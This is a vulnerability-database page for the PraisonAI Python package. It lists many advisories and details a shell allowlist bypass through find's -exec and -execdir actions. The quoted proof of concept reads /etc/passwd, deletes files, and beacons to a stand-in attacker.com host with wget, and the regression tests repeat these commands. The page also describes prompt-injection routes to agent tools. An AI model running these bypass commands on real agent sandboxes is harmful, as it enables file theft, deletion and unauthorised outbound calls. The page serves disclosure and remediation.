Vulnerabilities in pkg:pypi/praisonai

PACKAGE
Advisory Identifier: GHSA-cv3g-hj65-pcfh
Advisory Summary

CVE-2026-61434 is a HIGH (CVSS 8.8) shell command allowlist bypass vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves shell command allowlist bypass via find -exec built-in action. Remediation is available by upgrading affected packages to version 4.6.78.

68 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/praisonai

68 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/praisonai. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-cv3g-hj65-pcfh CVE-2026-61434 HIGH PraisonAI: Shell command allowlist bypass via find -exec built-in action
GHSA-9mp3-24cc-77mg CVE-2026-61445 CRITICAL PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls
GHSA-wj29-gm8v-33x8 - CRITICAL Duplicate Advisory: PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls
GHSA-hc5v-gxvj-58wh CVE-2026-61427 HIGH PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
GHSA-5866-9272-qcfv - MODERATE Duplicate Advisory: PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
GHSA-5r6c-gj4g-r697 CVE-2026-60085 HIGH PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend
GHSA-4w49-gwv8-fpjg CVE-2026-60091 HIGH PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
GHSA-3wrm-pm5v-8vq8 - MODERATE Duplicate Advisory: PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
GHSA-4r3p-w3mc-5v34 CVE-2026-60086 MODERATE PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
GHSA-5c3v-h6hw-4gx7 - MODERATE Duplicate Advisory: PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
GHSA-79fv-7hq9-w7xg CVE-2026-61433 HIGH PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
GHSA-2gpf-2492-q9jh CVE-2026-61435 HIGH PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
GHSA-qpq9-hwx9-cwgc - HIGH Duplicate Advisory: PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
GHSA-gp65-m7q3-4vjw - HIGH Duplicate Advisory: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
GHSA-q7m5-3jmv-vm48 CVE-2026-61431 MODERATE PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
GHSA-w37c-cq55-frjp - MODERATE Duplicate Advisory: PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
GHSA-xpx6-x8c2-mw5w CVE-2026-60088 MODERATE PraisonAI: Project custom command templates can read outside-workspace files into model prompts
GHSA-wgvq-3jxh-4qg7 - MODERATE Duplicate Advisory: PraisonAI: Project custom command templates can read outside-workspace files into model prompts
GHSA-wf65-4jjx-q444 CVE-2026-60090 MODERATE PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
GHSA-q65p-7p84-495c - CRITICAL Duplicate Advisory: PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
GHSA-mhgx-w3w5-2rvc - CRITICAL Duplicate Advisory: PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets
GHSA-5r2q-3wg3-57m2 - HIGH Duplicate Advisory: PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats
GHSA-7c92-x8vg-4258 CVE-2026-61436 HIGH PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
GHSA-qj9c-59p6-8cgx CVE-2026-61428 HIGH PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing
GHSA-4mp6-8448-9vgv - MODERATE Duplicate Advisory: PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing
GHSA-m64w-vfg6-36ph - HIGH Duplicate Advisory: PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
GHSA-jxcw-qp4h-6jfq CVE-2026-57146 HIGH PraisonAI A2U incomplete authentication fix leaves current serve command unauthenticated by default
GHSA-29w3-p9w9-wc47 CVE-2026-57145 CRITICAL PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation
GHSA-6jcq-6546-qrrw CVE-2026-57144 HIGH PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable
GHSA-7qw2-w5rc-37x2 CVE-2026-57142 HIGH PraisonAI recipe workflow policy can be bypassed by declaring and YAML-approving dangerous tools outside TEMPLATE.yaml
GHSA-8ccj-p46r-jwqq CVE-2026-57132 HIGH PraisonAI: PRAISONAI_CALL_AUTH=disabled environment variable unconditionally disables authentication
GHSA-fq2m-6wqh-x44g CVE-2026-57131 CRITICAL PraisonAI: Jobs API exposes agent-execution endpoints with no authentication
GHSA-j4hj-7hfh-g2f4 CVE-2026-57127 CRITICAL praisonai: recipe serve auth middleware silently disables itself when no secret is set
GHSA-4869-x4pr-q22x CVE-2026-57125 CRITICAL PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass
GHSA-p75f-6fp4-p57w CVE-2026-57124 CRITICAL PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
GHSA-x92v-rpx6-p6cw CVE-2026-57122 HIGH PraisonAI: Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)
GHSA-rjvw-7vvw-549v CVE-2026-57114 HIGH PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding
GHSA-p4pj-vh7h-6cqh CVE-2026-57119 HIGH PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
GHSA-w6h2-fr4q-xvxv CVE-2026-57117 HIGH PraisonAI: Compute-bridged file tools allow shell command injection
GHSA-892r-p3jq-jp24 CVE-2026-57116 CRITICAL PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation
GHSA-f44v-7qgw-9gh9 CVE-2026-57113 HIGH PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
GHSA-vmf9-xx9w-86wx CVE-2026-57112 HIGH PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools
GHSA-63v4-w882-g4x2 CVE-2026-56840 HIGH PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
GHSA-gcq3-mfvh-3x25 CVE-2026-56839 HIGH PraisonAI Code agent tools fail open without a workspace boundary
GHSA-v847-hxxw-3pxg CVE-2026-56838 HIGH PraisonAI recipe.run_stream skips dangerous-tool policy enforcement
GHSA-fc26-m9pf-v56q CVE-2026-56837 HIGH PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing
GHSA-5qw8-f2g9-ff29 CVE-2026-56836 HIGH PraisonAI recipe serve Typer command bypasses the non-localhost authentication guard
GHSA-qvpf-j64c-jmhr CVE-2026-56835 HIGH PraisonAI Slack app_mention bypasses configured user/channel authorization
GHSA-j7qx-p75m-wp7g CVE-2026-56834 HIGH PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage
GHSA-22cj-m4wf-fv2c CVE-2026-56833 HIGH PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal
GHSA-8579-rgg5-ph2m CVE-2026-56832 HIGH PraisonAI DiscordApproval accepts unrelated channel messages as dangerous-tool approvals
GHSA-fwh2-95jw-g4j6 - HIGH Duplicate Advisory: PraisonAI has Memory State Leakage and Path Traversal in MultiAgent Context Handling
GHSA-x44p-gg67-52fc - MODERATE Duplicate Advisory: PraisonAI: Coarse-Grained Tool Approval Cache Bypasses Per-Invocation Consent for Shell Commands
GHSA-xcmw-grxf-wjhj CVE-2026-44334 HIGH PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
GHSA-rg3h-x3jw-7jm5 CVE-2026-41496 HIGH PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315)
GHSA-9qhq-v63v-fv3j CVE-2026-41497 CRITICAL PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection
GHSA-2g3w-cpc4-chr4 CVE-2026-40156 HIGH PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading
GHSA-2763-cj5r-c79m CVE-2026-40088 CRITICAL PraisonAI Vulnerable to OS Command Injection
GHSA-hwg5-x759-7wjg CVE-2026-39891 HIGH PraisonAI has Template Injection in Agent Tool Definitions
GHSA-32vr-5gcf-3pw2 CVE-2026-39890 CRITICAL PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading
GHSA-f292-66h9-fpmf CVE-2026-39889 HIGH PraisonAI Has Unauthenticated SSE Event Stream that Exposes All Agent Activity in A2U Server
GHSA-r4f2-3m54-pp7q CVE-2026-34955 HIGH PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
GHSA-98f9-fqg5-hvq5 CVE-2026-34953 CRITICAL PraisonAI Has Authentication Bypass via OAuthManager.validate_token()
GHSA-cfh6-vr3j-qc3g CVE-2026-34952 CRITICAL PraisonAI Has Missing Authentication in WebSocket Gateway
GHSA-8w9j-hc3g-3g7f CVE-2026-34939 MODERATE PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
GHSA-x6m9-gxvr-7jpv CVE-2026-34936 HIGH PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback
GHSA-9gm9-c8mq-vq7m CVE-2026-34935 CRITICAL PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()
GHSA-9cq8-3v94-434g CVE-2026-34934 CRITICAL PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

CVE-2026-61434 at a Glance

CVE Identifier CVE-2026-61434
GHSA Identifier GHSA-cv3g-hj65-pcfh
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-61434

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.78
pip install praisonai>=4.6.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61434, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.78), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action. The fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each). ### Details **Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked. However, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts): ``` find /path -exec <command> {} + ``` The `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex. **Affected components** (4 implementations, same gap): | # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist | | 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` | | 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` | | 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` | **Bypass analysis**: | Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result | |---|---|---| | Metachar regex `/[;|&\`><]/` | `{`, `}`, `+` are not in regex | PASS | | Regex `/\$\([^)]*\)/` | No `$(...)` | PASS | | `safeCommands.includes('find')` | `find` IS in allowlist | PASS | | SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS | | `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS | The `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string. **Preconditions**: | Precondition | How attacker obtains | Default? | |---|---|---| | Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | `find` binary on target | Standard Unix utility, present on Linux/macOS | Y | | `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y | ### PoC **1. Data exfiltration via -execdir (utility-tools.ts)** ```javascript const { shell } = require('praisonai/dist/tools/utility-tools'); async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true // Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc(); ``` Code path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: "<passwd contents>"}`. **2. File deletion** ```javascript await shell('find /app/uploads -name "*.bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted ``` **3. Non-allowlisted command (side-effect based)** ```javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero ``` **4. Python safe_shell** ```python from praisonai.cli.features.safe_shell import safe_execute result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ... ``` ### Impact An attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves: - **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned) - **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0) - **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code) Shell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc. Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833. ### Suggested fix **Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix. **Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags. **Regression tests**: ```typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false); }); ``` ### References - GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

CVE-2026-61434 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.78
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.6.78
4.6.78

References

Frequently Asked Questions

What is CVE-2026-61434?
CVE-2026-61434 is a security vulnerability in PraisonAI involving Shell command allowlist bypass via find -exec built-in action under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.78 across affected packages: praisonai.
What version fixes CVE-2026-61434?
Upgrading to 4.6.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.78. Upgrade your dependency to 4.6.78 or later.
What is the CVSS score of CVE-2026-61434?
CVE-2026-61434 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-61434?
CVE-2026-61434 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-61434?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cv3g-hj65-pcfh",
  "modified" : "2026-10-08T22:00:55Z",
  "published" : "2026-10-08T22:00:55Z",
  "aliases" : [ "CVE-2026-61434" ],
  "summary" : "PraisonAI: Shell command allowlist bypass via find -exec built-in action",
  "details" : "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`'s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|&`><$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters — the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec <command> {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|&\\`><]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes('find')` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes('/etc/passwd')` → FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn('find', [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor's substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require('praisonai/dist/tools/utility-tools');\n\nasync function poc() {\n    // Control: direct 'wget' is rejected (not in safeCommands)\n    const control = await shell('wget http://example.com');\n    console.log('[CONTROL] rejected:', !control.success);  // true\n\n    // Bypass: find -execdir reads /etc/passwd via find's built-in action\n    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');\n    console.log('[BYPASS]:', bypass.success);  // true\n    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find chdirs to /etc → `cat ./passwd` → exit 0 → `{success: true, data: \"<passwd contents>\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell('find /app/uploads -name \"*.bak\" -delete');\n// -delete is a find built-in — clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest('rejects find -exec', async () => {\n    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);\n});\ntest('rejects find -execdir', async () => {\n    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);\n});\ntest('rejects find -delete', async () => {\n    expect((await shell('find /app -name \"*.bak\" -delete')).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T22:00:55Z",
    "nvd_published_at" : null
  }
}